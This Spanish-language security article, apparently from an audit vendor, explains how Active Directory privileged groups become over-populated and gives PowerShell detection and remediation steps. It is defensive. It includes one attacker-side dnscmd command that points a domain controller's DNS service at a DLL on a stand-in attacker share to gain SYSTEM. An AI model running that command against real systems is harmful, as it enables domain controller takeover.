Everyone, Authenticated Users, grupos privilegiados Active Directory: cómo los grupos integrados quedan sobre-poblados en silencio

Everyone, Authenticated Users, grupos privilegiados, Active Directory: qué aspecto tiene la sobre-pertenencia

Everyone, Authenticated Users, grupos privilegiados, Active Directory — cuatro elementos que se combinan en un riesgo Tier 0 en el momento en que una identidad especial aparece directamente en la lista de miembros de un grupo, sin necesidad de ninguna ruta de ataque. La mayoría del contenido sobre escalada de privilegios en Active Directory se centra en rutas indirectas: anidamiento de grupos, abuso de ACL, cadenas de delegación. Este artículo cubre una versión más directa del mismo problema: un grupo privilegiado de Active Directory —integrado o Tier 0— donde Everyone, Authenticated Users, o una cuenta Tier 0 que debería haberse retirado hace meses, está directamente en la lista de miembros, sin necesidad de anidamiento ni truco de ACL para descubrirlo. Es un primo cercano de la deriva de acceso privilegiado, pero sin la acumulación en varios pasos: la mala configuración es visible en una sola lista de miembros.

En concreto, esto es lo que una auditoría para active directory privileged group everyone authenticated users necesita comprobar: qué grupos privilegiados de ámbito dominio-local tienen un miembro de identidad especial, y qué grupos Tier 0 han seguido poblados desde su último uso legítimo.

Tres patrones caen en esta categoría:

• Identidades especiales añadidas directamente a un grupo privilegiado. Las identidades especiales Everyone y Authenticated Users pueden añadirse como miembros explícitos de un grupo de ámbito dominio-local. Si ese grupo es privilegiado —Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, o DnsAdmins— cada principal autenticado del dominio hereda los derechos de ese grupo.
• Grupos Tier 0 que deberían estar vacíos, pero no lo están. Schema Admins y Enterprise Admins existen para un uso ocasional y deliberado (cambios de esquema, administración entre dominios). La propia guía de remediación de Microsoft indica mantener Schema Admins vacío fuera de un cambio de esquema activo y repoblarlo solo cuando sea necesario (Microsoft Learn). Un miembro permanente es una credencial Tier 0 permanente que nadie utiliza activamente: pura superficie de ataque.
• Un grupo privilegiado que la mayoría de los equipos no vigila: DnsAdmins. Microsoft Defender for Identity incluye una evaluación de seguridad dedicada para "permisos inseguros en el grupo DnsAdmins", porque la pertenencia otorga control sobre el servicio DNS Server que se ejecuta en los controladores de dominio (Microsoft Learn) —control que una técnica bien conocida convierte en SYSTEM en un DC.

Nada de esto requiere búsqueda de rutas al estilo BloodHound. Aparece en cuanto alguien ejecuta Get-ADGroupMember contra el grupo correcto, precisamente por eso tiende a sobrevivir a auditorías construidas en torno a grafos de rutas de ataque en lugar de simples listas de miembros.

También tiende a pasar desapercibido en la revisión manual porque no es el resultado de una decisión dramática puntual. Se añade una cuenta a Schema Admins para la instalación puntual de una aplicación y se salta el paso de retirarla. Una sesión de resolución de incidencias añade Authenticated Users a DnsAdmins "temporalmente" para desbloquear un ticket de soporte, y el ticket se cierra antes de revertir la pertenencia. Cada paso parece razonable localmente; el estado acumulado es un dominio donde cualquier cuenta autenticada —incluida una cuenta de bajo privilegio víctima de phishing o una cuenta de servicio comprometida— ya tiene una línea recta hacia un controlador de dominio.

Cómo funciona

Everyone y Authenticated Users solo pueden situarse en grupos dominio-local, pero eso incluye los que importan

Según las reglas de ámbito de grupo de AD (el clásico modelo AGDLP), las identidades especiales y los principales de seguridad externos solo pueden colocarse en grupos de ámbito dominio-local, no global ni universal (Microsoft TechNet wiki, "Foreign Security Principals and Special Identities"; Microsoft Learn, "Understand Special Identities Groups"). Cuando un administrador (o una GPO/script mal configurado) añade Everyone o Authenticated Users a un grupo así, Active Directory crea un objeto ForeignSecurityPrincipal para ese SID bien conocido bajo CN=ForeignSecurityPrincipals y lo incluye como miembro.

Eso descarta añadir Everyone directamente al grupo Domain Admins, de ámbito global —las restricciones de ámbito de grupo de AD no lo permiten—. Pero no descarta el grupo que realmente más importa: el grupo integrado Administrators es de ámbito dominio-local, y por defecto ya contiene Domain Admins y Enterprise Admins anidados dentro (Microsoft Learn, Appendix G — Securing Administrators Groups in Active Directory). Añada Everyone o Authenticated Users a Administrators, y cada cuenta autenticada del dominio hereda todo lo que Domain Admins hereda de ese anidamiento: control total de cada controlador de dominio. El mismo ámbito dominio-local cubre Account Operators, Backup Operators, Server Operators, Print Operators, y DnsAdmins —todos objetivos habituales de esta misma mala configuración.

🚨 Peligro: esto no es una ruta teórica, es una lista de miembros. Sin ACL delegada, sin truco de Kerberos, sin cadena anidada. Get-ADGroupMember en el grupo equivocado lo muestra en una sola llamada.

La pertenencia a DnsAdmins se convierte en SYSTEM en un controlador de dominio

La pertenencia a DnsAdmins es peligrosa por sí sola, independientemente de los trucos de Everyone/Authenticated Users. Los miembros pueden establecer el valor de registro ServerLevelPluginDll en el servicio DNS Server mediante dnscmd.exe, apuntándolo a una DLL arbitraria; al reiniciar el servicio DNS se carga esa DLL bajo la cuenta SYSTEM del controlador de dominio. Esto se publicó por primera vez por Shay Ber (Lab of a Penetration Tester, 2017) como "Abusing DNSAdmins privilege for escalation in Active Directory", y desde entonces se ha documentado y reverificado repetidamente, incluido por Sean Metcalf en ADSecurity.org ("From DNSAdmins to Domain Admin") y por Semperis ("DnsAdmins Revisited") (Lab of a Penetration Tester; ADSecurity.org; Semperis).

# Primitiva del lado del atacante (miembro de DnsAdmins, solo para conocimiento de defensores)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

Microsoft ha declarado que se trata de una característica documentada del protocolo de administración de DNS y no de una vulnerabilidad, razón exacta por la que no se corrige mediante un parche: la solución es organizativa (mantener DnsAdmins vacío o estrictamente delimitado), no una actualización de seguridad (InfosecMatter / resumen de la postura del MSRC en la ficha del módulo de Metasploit).

Schema Admins y Enterprise Admins como credenciales Tier 0 permanentes

Schema Admins solo necesita miembros durante la duración de una extensión de esquema real (una nueva aplicación que instala atributos de esquema, un cambio de nivel funcional de bosque). La propia guía de remediación de Microsoft para este hallazgo exacto indica retirar a todos los miembros y volver a añadir cuentas solo cuando hay un cambio de esquema en curso (Microsoft Learn). Un Schema Admins (o Enterprise Admins, con un alcance similar para la administración a nivel de bosque) permanentemente poblado es una credencial Tier 0 que permanece sin usar entre cambios: exactamente el tipo de cuenta que buscan los atacantes, porque nadie nota sus inicios de sesión, ya que normalmente nunca inicia sesión.

Detección

Todo lo siguiente puede ejecutarse en modo de solo lectura, con una cuenta de servicio sin derechos de escritura. Para el conjunto más amplio de event IDs que conviene recopilar en un entorno AD, consulte la guía de supervisión dedicada; la siguiente tabla cubre solo los eventos específicos de esta mala configuración.

# 1. Enumerar los miembros de los grupos privilegiados dominio-local y marcar las entradas ForeignSecurityPrincipal
#    (así es como aparecen Everyone/Authenticated Users cuando se añaden directamente)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Resolver qué SID bien conocido representa un ForeignSecurityPrincipal
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins deberían estar vacíos fuera de una ventana de mantenimiento
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Remediación

Estas correcciones encajan en un recorrido más amplio de prioridades de refuerzo de Active Directory; la higiene de los grupos privilegiados debe figurar cerca de la cima de esa lista, no como una tarea de seguimiento posterior.

1. Eliminar cualquier pertenencia de Everyone/Authenticated Users en grupos privilegiados de ámbito dominio-local. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") —verifique primero el objeto exacto, es un grupo Tier 0.
2. Vaciar Schema Admins y Enterprise Admins fuera de las ventanas de mantenimiento. Documente un proceso de "romper el cristal": añadir la cuenta, realizar el cambio, retirarla, y registrar la excepción (quién, por qué, cuándo).
3. Delimitar estrictamente DnsAdmins y vigilarlo como a Domain Admins. Si nadie puede justificar por qué una cuenta determinada es miembro, retírela. Trate cualquier evento 4728/4732 en este grupo como una alerta Tier 0, no como ruido rutinario de TI.
4. Alertar en tiempo real sobre 4728/4732/4756 para toda la lista de grupos Tier 0, no solo Domain Admins/Enterprise Admins: incluya Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins, y Schema Admins en la misma regla de alerta.
5. Exigir un registro de aprobación para cada adición a un grupo privilegiado —propietario, justificación y fecha de expiración—. Una pertenencia sin motivo documentado es en sí misma el hallazgo, independientemente de quién fue añadido.

Cómo lo detecta EtcSec

La auditoría de AD de EtcSec comprueba la sobre-pertenencia directa en los grupos integrados y Tier 0 cubiertos aquí: GROUP_EVERYONE_IN_PRIVILEGED y GROUP_AUTHENTICATED_USERS_PRIVILEGED marcan identidades especiales colocadas directamente en un grupo privilegiado, SCHEMA_ADMINS_NOT_EMPTY marca un grupo Schema/Enterprise Admins poblado de forma persistente, DNS_ADMINS_MEMBER expone cada miembro de DnsAdmins para revisión, y PRIVILEGED_GROUP_MEMBER_CHANGES rastrea cambios recientes de pertenencia en grupos Tier 0 para que una nueva adición no pase desapercibida entre auditorías.